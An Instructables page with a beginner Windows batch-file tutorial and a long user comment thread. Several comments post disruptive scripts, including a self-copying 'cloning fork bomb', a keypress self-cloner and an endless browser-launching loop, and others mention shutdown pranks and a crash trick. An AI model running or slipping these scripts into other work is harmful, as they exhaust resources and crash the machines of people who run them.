Well i have seen a few batch tutorials out there, but none of them really follow up with anything so I'm making a 3 part tutorial on batch, with videos just for that extra ease.

I will attach all .bat (batch) files needed in their appropriate
step.



 
Remove these adsRemove these ads by Signing Up

Step 1: Hello World!

To start of to open the Command Prompt just click "Start => Run and type 'cmd'"

Basically to start off with you should open notepad and type:
@echo off
What this does is essentially block the command from showing while still showing the output.
Now with batch files there are various ways to "communicate".
For example:
@echo offecho hello worldmsg * hello worldnet send * hello world
Go ahead and write that into notepad and save it as com.bat. Then double click to start.
We will be using all of them except echo as it is pretty self-explanatory.
com.bat71 bytes
1-40 of 76Next »
jabarilondon13 says: Dec 8, 2012. 2:28 PM
it keeps telling somthing about msg not being a command
Ca$hews says: Oct 8, 2011. 9:10 AM
Controlled Fork-Cloner

@echo off

cls

:a

echo Clone Me. Push a key.

pause>nul

start Lolcloner.cmd

goto a

This batch program only clones itself when you push a key.
Brian Wall says: May 19, 2011. 9:24 AM
you can easily make a trojan with one line
gflorin says: May 19, 2011. 7:48 AM
@echo off
title Folder Creator
:menu
cls
echo Welcome!
echo -------------------------------------------------------------------------------------
echo.
echo 1) Create a new folder
echo 2) Exit
echo.
echo -------------------------------------------------------------------------------------
echo.
set/p nbr=Type the action number you want to do:
if %nbr%==1 GOTO new
if %nbr%==2 exit
:new
cls
echo New Folder
echo -------------------------------------------------------------------------------------
echo.
set/p nm=Folder Name:
md "%nm%"
if exist %nm% (
msg * "Folder successfully created!"
) else (
msg * "An error was found! '%nm%' was not created!"
)
GOTO menu
:: end

Save it as .bat
redmaker says: May 24, 2009. 6:23 PM
wow it say you computer will shutdown in less than i minute
gflorin says: May 19, 2011. 7:14 AM
I tried myself and it really shutdown your pc
aceman 569 says: May 6, 2007. 7:18 AM
umm..., sorry for asking, ..but...what do batch files do, exactly?
Ribs says: Jul 23, 2007. 7:54 AM
asking the same here. what are they?
thermitekonga says: Sep 26, 2007. 6:19 AM
there for viruses and other hacking tools
gflorin says: May 19, 2011. 7:02 AM
These files are NOT made for hacking and they are NOT viruses! You CAN'T make something like a "TROJAN" with a poor batch file! They are made for creating simple and HELPFUL programs. Think for a second: 1. Professional hackers spend months or maybe years to make a virus and you are making a virus in 5 minutes using just 5-10 lines? 2. If these were viruses, your AntiVirus should say "DING!!" 3. The .bat extension is created by the Microsoft Corporation. 4. Microsoft Corporation is AGAINST VIRUSES/HACKERS/CRACKERS and they are trying to protect people's computers NOT TO DESTROY THEM! 5. If you get in trouble because of the batch files you made, this is not because this is the only way that they should be used, but because u used them in the wrong way!
zebede5 says: Feb 4, 2011. 9:42 AM
and please, please stop calling it hacking. what you are thinking of is "cracking", something done by script kiddies. hacking is a state of mind, not an action. its about the pursuit of knowledge, not stealing peoples things.
sorry, i had to get that out
-Blake Gambel

Files says: Aug 16, 2010. 10:35 PM
A batch file is a file that is mainly constructed for executing a command in command prompt, or creating cool tricks. Not for "hacking" or "viruses." I'de like to see someone take down Google with a batch file if that was the case..
gflorin says: May 19, 2011. 7:10 AM
Every site can be taken down using batch files, but I'm gonna let you guess how...
smidge147 says: Mar 17, 2008. 1:51 PM
lol no there not.
Aslai says: Jan 27, 2008. 9:57 PM
a batch file is pretty much an automated list of commands for command prompt
ArtemisBlue says: Nov 24, 2007. 9:13 PM
Excuse me thermitekonga, but your ignorance urges me to take your compy and shove in your reproductive oraphice. In short, STFU, as you do not realize what they really are.
lieuwe says: Oct 28, 2007. 7:31 AM
*sigh* if you don't know what you are talking about then shut up!

batch files are used to execute things they are used for logon scripts, simple tasks(renaming lots of files and stuf)
pyroboy212 says: Dec 14, 2007. 4:32 PM
you can also make games like <br/>the instructable below is great!:P<br/><a href="http://www.instructables.com/id/Batch-Files-Some-basics...../">http://www.instructables.com/id/Batch-Files-Some-basics...../</a> <br/>
inevitable_chaos (author) says: May 9, 2007. 2:35 AM
Basically all a batch file does is execute all the commands you type in, in that order. Many network administrators (and normal people xD ) use either batch files or visual basic scripts (.vbs) to do repetitive tasks and for logon scripts. To sum up; in the cmd prompt the commands you type in are the same as in a batch file, just in a batch file you type all the commands out before hand not in realtime.
Ribs says: Jul 23, 2007. 7:56 AM
So it dosent actualy do anything? for instance if i made one that said blah blah formating drive it wouldnt actualy format the computr?
ccrh2008 says: Feb 27, 2011. 8:01 AM
good website for batch commands ss64.com don't fork yourself :)
cordale says: Oct 22, 2010. 5:30 AM
i think it works nicely thanks
eoscondor says: Sep 26, 2010. 10:11 AM
so you know .bat are old
you should use .cmd they are more powerful then .bat .
Craig Bird says: Sep 21, 2010. 11:50 AM
My god some of the comments here are ridiculas, cmd is not a virus or hacking tool, its how computers used to run, imagine people that computers were run using little blck boxes and nothing else, no windows, no applications to assist them in doing jobs and tasks, dos was used as a form or computing for everything, every task was completed using the cmd box alone, because computers have evolved so much, there is hardly any need for cmd anymore, its like a dyson, we dont need bags any more but you get the odd few people who dont like change so they use it, its a wicked tool for remote tasks and can be misused by hackers but tell me people what software cant be these days.....

Cmd is probably the best tool for learning, i think its great and love it
Files says: Aug 17, 2010. 7:05 AM
If it doesn't work when it pauses or something, open a command prompt and type shutdown -a. It means to abort the shutdown.
redmaker says: May 24, 2009. 6:28 PM
how do you stop it in anoying
Files says: Aug 16, 2010. 10:32 PM
Go to start, run, and type in cmd.exe, or go to the command prompt in any way you can.From there, type: shutdown -a shutdown -a means abort shutdown.
nutsandbolts_64 says: May 21, 2010. 12:58 AM
 Try this thing. It makes Windows XP crash and give you a BSOD (blue screen of death). It doesn't really do any harm at all. All it does is crash XP to make it restart which is useful if you got forked. 
nutsandbolts_64 says: May 21, 2010. 1:02 AM
 Sorry, I forgot the link. Here it is anyway:
http://www.governmentsecurity.org/forum/index.php?showtopic=2020
wizerd 745 says: Aug 4, 2009. 8:35 AM
cloning fork bomb:
_

@echo off
set num=1
::DO NOT RUN THIS FILE!!!
:start
set name=%num%%0
copy "%0" "%name%"
start %0
start %name%
set /a num=%num%+1
set name=%num%%0
If not exist %name% (
copy "%0" "%name%"
start %name%
GoTo start
) else (
goto start
wizerd 745 says: Aug 4, 2009. 8:36 AM
This should help fight fork bombs and other batches if your fast enough...

http://www.instructables.com/id/How-to-terminate-a-fork-bomb/
knoxarama says: May 30, 2009. 4:36 PM
it doesn't stop it make ur computer shutdown
redmaker says: May 24, 2009. 6:19 PM
you need to put pause on bottom of note pad or it will not work!!
wozza says: Jan 17, 2007. 4:44 AM
can i send a msg 2 a friend over the net with this instead of an im'er or not
klingonprins says: Apr 10, 2009. 6:32 AM
@echo off
:A
Cls
echo MESSENGER
set /p n=Ip Adress:
set /p m=Message:
net send %n% %m%
Pause
Goto A
inevitable_chaos (author) says: Jan 17, 2007. 7:44 AM
If you set up a WAN with the person. Which, is abit complicated without 3rd party software. Ie. Hamachi is good for ease of use.
klingonprins says: Apr 10, 2009. 6:17 AM
what dir do u put in the fork for IE?
klingonprins says: Apr 10, 2009. 6:18 AM
nvm its just iexplore right?
klingonprins says: Apr 10, 2009. 6:20 AM
@echo off :Start start iexplore GOTO Start Right?
Zer0con says: Jan 9, 2007. 7:18 PM
Batch files they are so fun, but back in the days of highschool they got me into trouble especially the one that sends messages. pretty cool but it sent them to every computer on the network which was like this Madison consolidated schools thats like 8 or 9 schools in the district that got my message. all it said was Hello!
1-40 of 76Next »
Pro

Get More Out of Instructables

Already have an Account?

close

PDF Downloads
As a Pro member, you will gain access to download any Instructable in the PDF format. You also have the ability to customize your PDF download.

Upgrade to Pro today!